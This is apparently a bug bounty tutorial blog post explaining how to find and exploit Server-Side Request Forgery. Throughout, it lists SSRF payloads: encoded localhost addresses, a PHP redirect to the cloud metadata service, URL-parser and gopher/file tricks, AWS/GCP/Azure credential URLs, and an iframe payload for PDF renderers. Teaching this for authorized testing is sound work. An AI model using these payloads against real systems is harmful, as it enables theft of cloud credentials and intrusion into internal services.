October 26, 2026
SSRF Attacks Explained: From Zero to Cloud Credential Theft Complete Bug Bounty Guide
Everything you need to understand, find, and exploit Server-Side Request Forgery โ written for beginners, detailed enough for professionals

By Monika
7 min read
So far in this series, we've covered recon automation, IDOR, Business Logic bugs, Subdomain Takeovers, Rate Limiting, File Uploads, and real-world XSS patterns. Today we're covering one of the highest-paying, most cloud-relevant bug classes in modern bug bounty: Server-Side Request Forgery (SSRF).
This article is written in two layers โ if you're new, the explanations will make sense on their own. If you already know the basics, skip to Steps 4 onward for the bypass techniques and cloud-specific exploitation that actually get you paid.
What is SSRF, really?
Normally, when you visit a website, your browser sends the request. SSRF is different โ it tricks the server into sending a request on your behalf, to a destination you control or choose.
Imagine a website feature that says "Enter an image URL and we'll show a preview." You enter a URL, and the server goes and fetches that image for you, then displays it. That server-side fetch is the vulnerable action.
Now imagine instead of a real image URL, you enter:
http://169.254.169.254/latest/meta-data/iam/security-credentials/http://169.254.169.254/latest/meta-data/iam/security-credentials/If the server blindly fetches whatever URL you give it โ including internal/private addresses โ you've just made the server fetch cloud credentials on your behalf, and if the response is shown back to you, you can steal them.
That's SSRF in one sentence: making a trusted server fetch a URL of your choosing, especially one it was never supposed to reach.
Why SSRF is so dangerous
A decade ago, SSRF mostly meant "I can scan your internal network." Today, almost every application runs on AWS, GCP, or Azure โ and every one of these clouds has a metadata service running at a fixed internal IP that any server on that cloud can reach without authentication. If an attacker can make your server request that address, they can often pull:
- Temporary IAM credentials (AWS)
- Service account tokens (GCP)
- Managed identity tokens (Azure)
These credentials often have far more permissions than the single feature that was vulnerable โ turning a "preview an image" bug into full cloud account compromise.
Step 1: Find features that make server-side requests
This is the most important step โ you can't exploit SSRF without finding where the server fetches a URL on your behalf. Look for these feature patterns across the application:
- URL/link preview generators ("paste a link, we'll show a thumbnail")
- PDF/document generators that accept a URL or embed external content
- Webhooks ("send events to this URL")
- Image/avatar upload via URL ("import from link" โ covered briefly in our file upload article)
- "Import from" features (RSS feeds, CSV from URL, social media profile import)
- PDF export of a web page (wkhtmltopdf, Puppeteer-based renderers)
- API integrations that call external services based on a stored config URL
- SSO/SAML metadata URL configuration fields
- Server-side analytics/tracking pixel fetchers
A simple way to find candidates in JS files (building on our earlier recon article):
grep -riE "url|endpoint|webhook|callback|fetch_from|import_url" live_js.txtgrep -riE "url|endpoint|webhook|callback|fetch_from|import_url" live_js.txtStep 2: Confirm the server is actually making the request
Point the suspected field at a server you control, and watch for an incoming connection. The easiest way is a free request-logging service:
https://webhook.sitehttps://webhook.siteor, self-hosted for more control:
# On your own VPS
python3 -m http.server 8000# On your own VPS
python3 -m http.server 8000Submit your controlled URL into the feature:
http://your-webhook.site/ssrf-testhttp://your-webhook.site/ssrf-testIf you see a hit on your listener, the server made an outbound request โ confirmed SSRF candidate. Note the User-Agent in the request too; it often reveals what library/tool the backend uses (curl/7.x, python-requests/x, Go-http-client, etc.), which helps you pick the right bypass techniques later.
Step 3: Try the "easy" internal targets first
Before trying fancy bypasses, just try the obvious internal destinations:
http://127.0.0.1
http://127.0.0.1:80
http://127.0.0.1:8080
http://127.0.0.1:443
http://localhost
http://0.0.0.0
http://[::1]http://127.0.0.1
http://127.0.0.1:80
http://127.0.0.1:8080
http://127.0.0.1:443
http://localhost
http://0.0.0.0
http://[::1]Also try common internal service ports, since internal networks often run admin panels, databases, or debug interfaces with no authentication at all:
http://127.0.0.1:6379 (Redis)
http://127.0.0.1:9200 (Elasticsearch)
http://127.0.0.1:2375 (Docker API)
http://127.0.0.1:8500 (Consul)
http://127.0.0.1:5000 (common internal admin APIs)http://127.0.0.1:6379 (Redis)
http://127.0.0.1:9200 (Elasticsearch)
http://127.0.0.1:2375 (Docker API)
http://127.0.0.1:8500 (Consul)
http://127.0.0.1:5000 (common internal admin APIs)If any of these respond differently than a clearly-external URL (different error message, different response time, actual data returned), you've confirmed the server can reach internal resources.
Step 4: Bypass basic blocklist filters
Most applications that are even slightly aware of SSRF will try to block 127.0.0.1 and localhost. These basic blocklists are almost always bypassable:
Alternate IP representations of localhost:
http://127.1
http://0177.0.0.1 (octal)
http://2130706433 (decimal โ equals 127.0.0.1)
http://0x7f000001 (hex)
http://127.0.0.1.nip.io (DNS resolves to 127.0.0.1)
http://localtest.me (also resolves to 127.0.0.1)http://127.1
http://0177.0.0.1 (octal)
http://2130706433 (decimal โ equals 127.0.0.1)
http://0x7f000001 (hex)
http://127.0.0.1.nip.io (DNS resolves to 127.0.0.1)
http://localtest.me (also resolves to 127.0.0.1)IPv6 variants:
http://[::1]
http://[0:0:0:0:0:ffff:127.0.0.1]
http://[::ffff:127.0.0.1]http://[::1]
http://[0:0:0:0:0:ffff:127.0.0.1]
http://[::ffff:127.0.0.1]Using a domain you control that resolves to an internal IP (DNS rebinding setup):
# Point a subdomain you own to 127.0.0.1 or an internal IP
evil.yourdomain.com โ A record โ 127.0.0.1# Point a subdomain you own to 127.0.0.1 or an internal IP
evil.yourdomain.com โ A record โ 127.0.0.1Then submit [http://evil.yourdomain.com](http://evil.yourdomain.com`) โ the filter sees a normal-looking domain, but it resolves to the internal target.
Step 5: Bypass via redirects
If the server blocks obviously internal URLs but follows HTTP redirects, host a simple redirect on a server you control:
<?php
header("Location: http://169.254.169.254/latest/meta-data/");
?><?php
header("Location: http://169.254.169.254/latest/meta-data/");
?>Submit your redirect URL (which looks completely external and harmless) instead of the internal one directly:
http://your-server.com/redirect.phphttp://your-server.com/redirect.phpMany SSRF filters only validate the initial URL, not where it redirects to โ this is one of the most reliable bypasses in real-world applications.
Step 6: Bypass via URL parser confusion
Different parts of an application (the validation check vs. the actual HTTP client making the request) sometimes parse URLs differently. This mismatch is exploitable:
http://expected-safe-domain.com@169.254.169.254/
http://169.254.169.254#@expected-safe-domain.com/
http://expected-safe-domain.com%2F@169.254.169.254/
http://169.254.169.254%2F@expected-safe-domain.comhttp://expected-safe-domain.com@169.254.169.254/
http://169.254.169.254#@expected-safe-domain.com/
http://expected-safe-domain.com%2F@169.254.169.254/
http://169.254.169.254%2F@expected-safe-domain.comIn the first example, a sloppy regex check might only look for expected-safe-domain.com and see it present โ while the actual host the HTTP client connects to is 169.254.169.254 (everything after @ is the real host; everything before is just userinfo, ignored by most HTTP clients).
Also test protocol confusion:
file:///etc/passwd
dict://127.0.0.1:6379/info
gopher://127.0.0.1:6379/_INFOfile:///etc/passwd
dict://127.0.0.1:6379/info
gopher://127.0.0.1:6379/_INFOgopher:// is particularly powerful because it lets you send raw bytes to a TCP port โ meaning you can construct a request that talks to Redis, Memcached, or even SMTP servers on the internal network, not just HTTP.
Step 7: Exploit cloud metadata endpoints (the big payout)
Once you've confirmed internal access works, target the cloud metadata service relevant to the hosting provider. Check response headers or error messages from earlier steps for hints about which cloud it's on, or just try all three:
AWS:
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>Note: newer AWS instances use IMDSv2, which requires a token fetched via a PUT request first โ if the SSRF only supports GET requests, this blocks the classic attack, but it's still worth testing since many instances still run IMDSv1 or allow the token step through a chained request if the app supports custom headers/methods.
GCP:
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/tokenhttp://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/tokenGCP's metadata service requires the header 'Metadata-Flavor: Google' โ if your SSRF point lets you control request headers (not just the URL), include this header for the request to succeed.
Azure:
http://169.254.169.254/metadata/instance?api-version=2021-02-01http://169.254.169.254/metadata/instance?api-version=2021-02-01Azure's metadata service requires the header 'Metadata: true'.
Step 8: Blind SSRF โ when you can't see the response
Sometimes the feature makes the request but never shows you the response (e.g., a webhook delivery system). This is still exploitable as blind SSRF โ you can't read data directly, but you can:
- Confirm internal network topology by timing responses (open ports respond faster/differently than closed ones)
- Trigger actions on internal-only services (like hitting an internal admin API's "delete" endpoint)
- Use out-of-band techniques: point the blind SSRF at a DNS server you control and watch for the lookup, confirming exactly which internal hostname pattern resolves
# Using a Burp Collaborator-style OOB domain, or your own DNS logging setup
http://random-unique-id.yourdomain.com/# Using a Burp Collaborator-style OOB domain, or your own DNS logging setup
http://random-unique-id.yourdomain.com/If you control DNS for that domain, you'll see the resolution attempt even if you never see an HTTP response โ confirming the SSRF exists even "blind."
Step 9: SSRF via PDF generators and headless browsers
If the app generates PDFs from HTML/URLs (common for invoices, reports, exports), these often use headless Chrome, 'wkhtmltopdf, or similar tools โ which are full browsers capable of following , and JavaScript fetch()` calls:
<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe>Submit HTML content (if the feature accepts raw HTML or Markdown that renders to HTML) containing this, and let the server-side renderer process it โ the resulting PDF may literally contain the metadata response as visible text.
Step 10: Document impact properly for your report
SSRF severity varies wildly based on what you can actually reach โ don't just report "I made the server send a request." Instead:
- If you reached cloud metadata, include the full curl output of the credentials response (redact the actual secret values in the screenshot, but prove the field names like
AccessKeyIdare present) - If you reached an internal service (Redis, admin panel, etc.), screenshot the actual banner/response proving it's a real internal service, not a generic error
- For blind SSRF, provide your DNS/HTTP listener logs showing the out-of-band interaction with timestamps matching your request
- Explain the realistic chain: "This SSRF allows reaching the AWS metadata service, which can expose IAM credentials with [X] permissions, potentially allowing [specific impact like S3 bucket access or further lateral movement]"
Quick reference: SSRF testing checklist
[ ] Identify every feature that fetches a URL server-side
[ ] Confirm outbound request with webhook.site / self-hosted listener
[ ] Try raw 127.0.0.1 / localhost / internal ports
[ ] Try alternate IP encodings (decimal, octal, hex, IPv6)
[ ] Try DNS rebinding (your domain โ internal IP)
[ ] Try open redirect chaining
[ ] Try URL parser confusion (@ tricks, protocol smuggling)
[ ] Try gopher:// / file:// / dict:// protocols
[ ] Target AWS/GCP/Azure metadata endpoints with correct headers
[ ] If blind, set up OOB DNS/HTTP logging to confirm
[ ] Try PDF generators / headless renderers if present[ ] Identify every feature that fetches a URL server-side
[ ] Confirm outbound request with webhook.site / self-hosted listener
[ ] Try raw 127.0.0.1 / localhost / internal ports
[ ] Try alternate IP encodings (decimal, octal, hex, IPv6)
[ ] Try DNS rebinding (your domain โ internal IP)
[ ] Try open redirect chaining
[ ] Try URL parser confusion (@ tricks, protocol smuggling)
[ ] Try gopher:// / file:// / dict:// protocols
[ ] Target AWS/GCP/Azure metadata endpoints with correct headers
[ ] If blind, set up OOB DNS/HTTP logging to confirm
[ ] Try PDF generators / headless renderers if presentFinal Thoughts
SSRF sits at a unique intersection โ easy enough for a beginner to find with a webhook.site link, but deep enough that professionals keep finding new bypasses on properly-filtered targets years into the bug class's life. The core skill is the same at every level: think about every place the server reaches out to a URL on your behalf, and ask "can I redirect that reach somewhere it shouldn't go?"
Combined with the rest of this series โ recon, IDOR, Business Logic, Subdomain Takeovers, Rate Limiting, File Uploads, and XSS patterns โ you now have a methodology that covers nearly every major bug class active bounty programs pay well for.
Buy me a coffeeโโ
Monika Hi, I'm Monika โจI break down real-world bug bounty reports into simple, practical write-ups.If my articles help youโฆ